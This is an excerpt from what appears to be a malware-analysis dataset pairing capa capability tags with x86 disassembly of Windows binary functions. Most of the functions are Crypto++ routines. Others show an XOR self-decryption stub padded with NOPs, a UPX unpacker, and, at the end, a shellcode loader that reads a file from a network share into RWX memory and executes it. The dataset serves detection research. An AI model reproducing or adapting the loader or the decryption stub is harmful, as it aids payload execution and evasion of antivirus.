joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f95b0
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap flags
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x56c2e1
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x10], 0
mov eax, dword [esi + 0x14]
shl eax, 5
push eax
lea eax, [esp + 0x18]
push eax
call fcn.004f8ea0
lea ecx, [esi + 0xc]
mov dword [esp + 0x30], 1
mov esi, dword [esp + 0x38]
push ecx
push eax
push esi
call fcn.004f4b10
add esp, 0xc
mov edx, dword [esp + 0x1c]
xor eax, eax
mov ebx, dword [esp + 0x20]
mov ecx, edx
mov edi, ebx
mov dword [esp + 0x10], 1
rep stosd dword es:[edi], eax
lea ecx, [edx*4]
mov byte [esp + 0x30], 0
push ebx
cmp ecx, 0x10
jb 0x4f9640
call fcn.004edb70
jmp 0x4f9645
call fcn.00443e80
mov eax, esi
add esp, 4
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x24
ret 8

Function at 0x4f99d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x56ba79
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0xc], 0
mov esi, dword [esp + 0x20]
mov ecx, esi
mov dword [esp + 0x18], 0
call fcn.004fe0b0
mov edx, dword [edi]
mov ecx, edi
push 1
push dword [esp + 0x2c]
mov dword [esp + 0x20], 0
push dword [esp + 0x2c]
mov dword [esp + 0x18], 1
push esi
call dword [edx + 0x30]
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret 0xc
Function at 0x4fab90
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x56bc30
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x5bf500]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
push 0x32
push str.PK_Signer:_key_too_short_for_this_signature_scheme
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], esi
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
call fcn.004027f0
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.0051fa9a
push 0xffffffffffffffff
lea ecx, [esi + 0x10]
mov dword [esi], vtable.CryptoPP::Exception.0
mov dword [esi + 0xc], 6
lea eax, [esp + 0x10]
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [esp + 0x3c], 1
mov byte [ecx], 0
call fcn.00402660
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.CryptoPP::PK_SignatureScheme::InvalidKeyLength.0
jb 0x4fac46
push dword [esp + 0xc]
call fcn.00443e80
add esp, 4
mov eax, esi
mov dword [esi], vtable.CryptoPP::PK_SignatureScheme::KeyTooShort.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0051ece9
add esp, 0x2c
ret

Function at 0x4fcf90
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0xffffffffffffffff
push 0x56c048
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x5bf500]
xor eax, esp
mov dword [esp + 0x44], eax
push esi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x50]
mov dword fs:[0], eax
mov esi, dword [esp + 0x60]
lea ecx, [esp + 0xb]
call fcn.004fd040
push esi
push dword [esp + 0x68]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4fd022
push 0xe
push 0x572fd4
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], eax
mov byte [esp + 0x14], al
call fcn.004027f0
lea eax, [esp + 0xc]
mov dword [esp + 0x58], 0
push eax
lea ecx, [esp + 0x28]
call fcn.004fcd70
push 0x5b8c2c
lea eax, [esp + 0x28]
push eax
call fcn.00524e20
mov ecx, dword [esp + 0x50]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.0051ece9
add esp, 0x54
ret 8
Function at 0x4fd110
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x56c0b0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [esp + 0x30]
push esi
mov dword [esp + 0x18], esi
call fcn.0043a9c0
add esp, 4
test esi, esi
jne 0x4fd151
xor ebx, ebx
jmp 0x4fd15c
push esi
call fcn.004edb80
add esp, 4
mov ebx, eax
mov dword [esp + 0x18], ebx
push 1
lea ecx, [esp + 0x34]
mov dword [esp + 0x28], 0
call fcn.004eaa60
mov dword [esp + 0x30], vtable.CryptoPP::NonblockingRng.0
push esi
push ebx
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c], 1
call fcn.004fcf90
mov eax, dword [edi]
mov ecx, edi
push esi
push ebx
mov byte [esp + 0x2c], 0
mov dword [esp + 0x38], vtable.CryptoPP::NonblockingRng.0
call dword [eax + 0xc]
xor al, al
mov dword [esp + 0x24], 0xffffffff
mov edi, ebx
mov ecx, esi
rep stosb byte es:[edi], al
push ebx
call fcn.00443e80
add esp, 4
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x18
ret 8

Function at 0x4fdb30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x56c168
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
call fcn.004fda00
mov dword [esi], vtable.CryptoPP::EuclideanDomainOf_class_CryptoPP::Integer_.0
cmp dword [0x5c8524], 0
mov dword [esp + 0x14], 0
jne 0x4fdb83
call fcn.0050e4a0
mov dword [0x5c8524], 0x4ff510
mov dword [esi + 0x20], vtable.CryptoPP::Integer.0
push 8
mov dword [esi + 0x28], 2
call fcn.004edb80
mov ecx, eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], 0
add esp, 4
mov eax, esi
mov dword [ecx + 4], 0
mov ecx, dword [esi + 0x2c]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret

Function at 0x4fdcb0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x56bc30
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x5bf500]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
push 0x19
push str.Integer:_division_by_zero
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], esi
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
call fcn.004027f0
mov ecx, esi
mov dword [esp + 0x30], 0
call fcn.0051fa9a
push 0xffffffffffffffff
lea ecx, [esi + 0x10]
mov dword [esi], vtable.CryptoPP::Exception.0
mov dword [esi + 0xc], 6
lea eax, [esp + 0x10]
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [esp + 0x3c], 1
mov byte [ecx], 0
call fcn.00402660
cmp dword [esp + 0x20], 0x10
jb 0x4fdd60
push dword [esp + 0xc]
call fcn.00443e80
add esp, 4
mov eax, esi
mov dword [esi], vtable.CryptoPP::Integer::DivideByZero.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0051ece9
add esp, 0x2c
ret
Function at 0x4fe310
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x56c268
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x34]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [esp + 0x44]
push 0
call fcn.004eaa60
mov dword [ebx + 0xc], 0xffffffff
mov byte [ebx + 0x10], 0
mov dword [ebx], vtable.CryptoPP::StringStore.0
mov dword [ebx + 4], vtable.CryptoPP::StringStore.1.0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x48]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], eax
mov byte [esp + 0x10], 0
push 1
lea eax, [esp + 0x14]
mov dword [esp + 0x40], 3
push eax
lea eax, [esp + 0x30]
push str.InputBuffer
push eax
call fcn.0043ae90
add esp, 0x10
push eax
mov ecx, ebx
mov byte [esp + 0x40], 4
call fcn.004ea280
mov ecx, dword [esp + 0x2c]
mov byte [esp + 0x3c], 3
test ecx, ecx
je 0x4fe3bd
mov eax, dword [ecx]
push 1
call dword [eax]
mov edx, dword [esp + 0x24]
xor al, al
mov ecx, dword [esp + 0x20]
mov edi, edx
rep stosb byte es:[edi], al
push edx
mov dword [esp + 0x40], 0xffffffff
call fcn.00443e80
add esp, 4
mov eax, ebx
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x30
ret 8

Function at 0x4fe570
Capabilities:
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x56c2e1
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], 0
call fcn.004fde60
push dword [esp + 0x3c]
mov ecx, eax
mov dword [esp + 0x34], 1
call fcn.004fec10
mov esi, dword [esp + 0x38]
mov ecx, esi
push eax
call fcn.004fde60
mov edx, dword [esp + 0x1c]
xor eax, eax
mov ebx, dword [esp + 0x20]
mov ecx, edx
mov edi, ebx
mov dword [esp + 0x10], 1
rep stosd dword es:[edi], eax
lea ecx, [edx*4]
mov byte [esp + 0x30], 0
push ebx
cmp ecx, 0x10
jb 0x4fe5f8
call fcn.004edb70
jmp 0x4fe5fd
call fcn.00443e80
mov eax, esi
add esp, 4
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x24
ret 8

Function at 0x50ef00
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x56cad9
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x5bf500]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
mov dword [esp + 0x10], 0
cmp dword [0x5c8524], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x14], esi
jne 0x50ef5c
call fcn.0050e4a0
mov dword [0x5c8524], 0x4ff510
mov dword [esi], vtable.CryptoPP::Integer.0
push 8
mov dword [esi + 8], 2
call fcn.004edb80
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 0
mov dword [eax + 4], 0
mov ecx, dword [esi + 0xc]
mov dword [ecx], 0
push ebx
push edi
push esi
mov dword [esp + 0x30], 0
mov dword [esp + 0x20], 1
call fcn.00504120
add esp, 0x10
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret 8
Function at 0x511850
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
sub esp, 0x10
push ebx
push ebp
xor edx, edx
push esi
mov dword [esp + 0x18], edx
push edi
lea ecx, [ecx]
movzx edi, byte [edx + 0x574128]
mov eax, edi
mov dword [esp + 0x10], edi
shr eax, 5
mov esi, edi
mov edx, eax
shr esi, 6
mov ebx, eax
lea ecx, [edi + edi]
xor ecx, edi
and eax, 1
mov dword [esp + 0x14], eax
and ebx, 2
shr edi, 7
and edx, 4
imul eax, edi, 0x1b000000
lea ebp, [ecx + ecx]
mov dword [esp + 0x18], edx
xor ebp, dword [esp + 0x10]
mov edx, esi
shl ebp, 0x19
and esi, 1
shl ecx, 2
and edx, 2
xor ebp, eax
xor ecx, dword [esp + 0x10]
imul eax, dword [esp + 0x14], 0x1b000000
shl ecx, 8
xor ebp, eax
imul eax, ebx, 0x1b000000
xor ebp, eax
imul eax, esi, 0x1b000000
xor ebp, eax
imul eax, edx, 0x1b000000
xor ebp, eax
imul eax, dword [esp + 0x18], 0x1b000000
xor ebp, eax
imul eax, dword [esp + 0x14], 0x11b00
xor ecx, eax
imul eax, ebx, 0x11b00
xor ecx, eax
imul eax, esi, 0x11b00
mov esi, dword [esp + 0x18]
xor ecx, eax
imul eax, edx, 0x11b00
mov edx, dword [esp + 0x10]
xor ecx, eax
imul eax, esi, 0x11b00
xor ecx, eax
mov eax, dword [esp + 0x10]
or ebp, ecx
lea ecx, [eax*8]
xor ecx, eax
imul eax, dword [esp + 0x14], 0x11b0000
shl ecx, 0x10
xor ecx, eax
imul eax, ebx, 0x11b0000
xor ecx, eax
imul eax, esi, 0x11b0000
xor ecx, eax
mov eax, dword [esp + 0x10]
or ebp, ecx
lea ecx, [eax*4]
xor ecx, eax
imul eax, edi, 0x11b
add ecx, ecx
xor ecx, eax
imul eax, dword [esp + 0x14], 0x11b
xor ecx, eax
imul eax, ebx, 0x11b
xor ecx, eax
imul eax, esi, 0x11b
xor ecx, eax
xor eax, eax
xor ecx, edx
or edx, ebp
or ecx, ebp
or eax, edx
mov edx, dword [esp + 0x1c]
mov dword [edx*8 + 0x5c9208], eax
mov dword [edx*8 + 0x5c920c], ecx
inc edx
mov dword [esp + 0x1c], edx
cmp edx, 0x100
jl 0x511860
pop edi
pop esi
pop ebp
mov byte [0x5c9201], 1
pop ebx
add esp, 0x10
ret

Function at 0x5119b0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push esi
xor eax, eax
push edi
movzx esi, byte [eax + str.cw]
mov edx, esi
mov ecx, esi
shr edx, 7
imul edi, edx, 0x1b000000
shl ecx, 0x19
imul edx, edx, 0x11b
xor edi, ecx
mov ecx, esi
shl ecx, 8
or ecx, esi
shl ecx, 8
or edi, ecx
lea ecx, [esi + esi]
xor edx, ecx
xor ecx, ecx
xor edx, esi
or ecx, edi
or edx, edi
mov dword [eax*8 + 0x5c89f0], ecx
mov dword [eax*8 + 0x5c89f4], edx
inc eax
cmp eax, 0x100
jl 0x5119b4
xorps xmm0, xmm0
pop edi
movlpd qword [0x5c91f8], xmm0
movlpd qword [0x5c91f0], xmm0
mov byte [0x5c9200], 1
pop esi
ret
Function at 0x52a920
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x548114
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5bf500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0052b111
mov dword [ebp - 0x14], eax
cmp dword [0x5cabb8], esi
jne 0x548207
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x548194
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x5482e7
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x5482e7
push 0x57e63c
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x5482e7
push eax
call ebx
push 0x57e648
push edi
mov dword [0x5cabb8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x5cabbc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x5cabc0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5cabc8], eax
test eax, eax
je 0x548204
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5cabc4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x54822c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x54821f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x548241
push 4
pop eax
jmp 0x5482e9
cmp dword [ebp - 0x14], esi
je 0x548241
push dword [0x5cabb8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x548226
mov eax, dword [0x5cabc4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x54829f
cmp dword [0x5cabc8], edi
je 0x54829f
push eax
call ebx
push dword [0x5cabc8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x54829f
test eax, eax
je 0x54829f
call ecx
test eax, eax
je 0x548294
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x548294
test byte [ebp - 8], 1
jne 0x54829f
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x5482cf
mov eax, dword [0x5cabbc]
cmp eax, edi
je 0x5482cc
push eax
call ebx
test eax, eax
je 0x5482cc
call eax
mov esi, eax
test esi, esi
je 0x5482cc
mov eax, dword [0x5cabc0]
cmp eax, edi
je 0x5482cc
push eax
call ebx
test eax, eax
je 0x5482cc
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x5cabb8]
call ebx
test eax, eax
je 0x5482e7
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x5482e9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0051ece9
mov esp, ebp
pop ebp
ret
Function at 0x4038f7
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040f6], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404650], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045e4], eax
mov dword [0x4040ee], eax
mov dword [0x4045d0], 0x30
mov dword [0x4045d4], 2
jmp 0x40393c
mov dword [0x4045d8], 0x40321a
mov dword [0x4045dc], 0
mov dword [0x4045e0], 0
mov dword [0x4045f8], 0x40454d
mov dword [0x4045f0], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045e8], eax
mov dword [0x4045fc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045ec], eax
push 0x4045d0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4040ee]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.lofegaswer_huijd
push str.lisclass
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404648], eax
push 5
push dword [0x404648]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404648]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404600]
jmp 0x403a10
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a02
mov eax, dword [0x404608]
jmp 0x403a2b
call 0x402c21
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x255a6651
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x33be1465
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x43c950
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x23000]
push edi
or ebp, 0xffffffff
jmp 0x43c972
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x43c979
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43c968
mov eax, 1
add ebx, ebx
jne 0x43c98b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x43c980
jne 0x43c99c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43c980
xor ecx, ecx
sub eax, 3
jb 0x43c9b0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43ca22
mov ebp, eax
add ebx, ebx
jne 0x43c9bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x43c9c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43c9ec
inc ecx
add ebx, ebx
jne 0x43c9d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43c9cd
jne 0x43c9e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43c9cd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43ca0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43c9fd
jmp 0x43c96e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43ca0c
add edi, ecx
jmp 0x43c96e
pop esi
mov edi, esi
mov ecx, 0xc76
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43ca2a
cmp byte [edi], 0xa
jne 0x43ca2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x43ca2f
lea edi, [esi + 0x3a000]
mov eax, dword [edi]
or eax, eax
je 0x43ca9e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3caf0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3cb48]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43ca5c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3cb50]
or eax, eax
je 0x43ca98
mov dword [ebx], eax
add ebx, 4
jmp 0x43ca79
call dword [esi + 0x3cb4c]
mov ebp, dword [esi + 0x3cb54]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x43cad2
sub esp, 0xffffff80
jmp 0x41affc
Function at 0x401460
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4014ce
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Error_opening_file:__d_n
call sym._printf
mov dword [esp], 0xffffff9d
call sym._exit
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1cc
mov dword [esp + 4], 0x407020
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401526
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Error_reading_file:__d_n
call sym._printf
mov dword [esp], 0xffffff9e
call sym._exit
nop
leave
ret

Function at 0x401529
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x28
call sym.___main
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x1cc
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x1c], eax
mov dword [esp], str.192.168.0.103_share_test.bin
call sym._readBin
mov eax, dword [ebp - 0x1c]
mov ebx, 0x407020
mov edx, 0x1cc
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x1c]
call eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret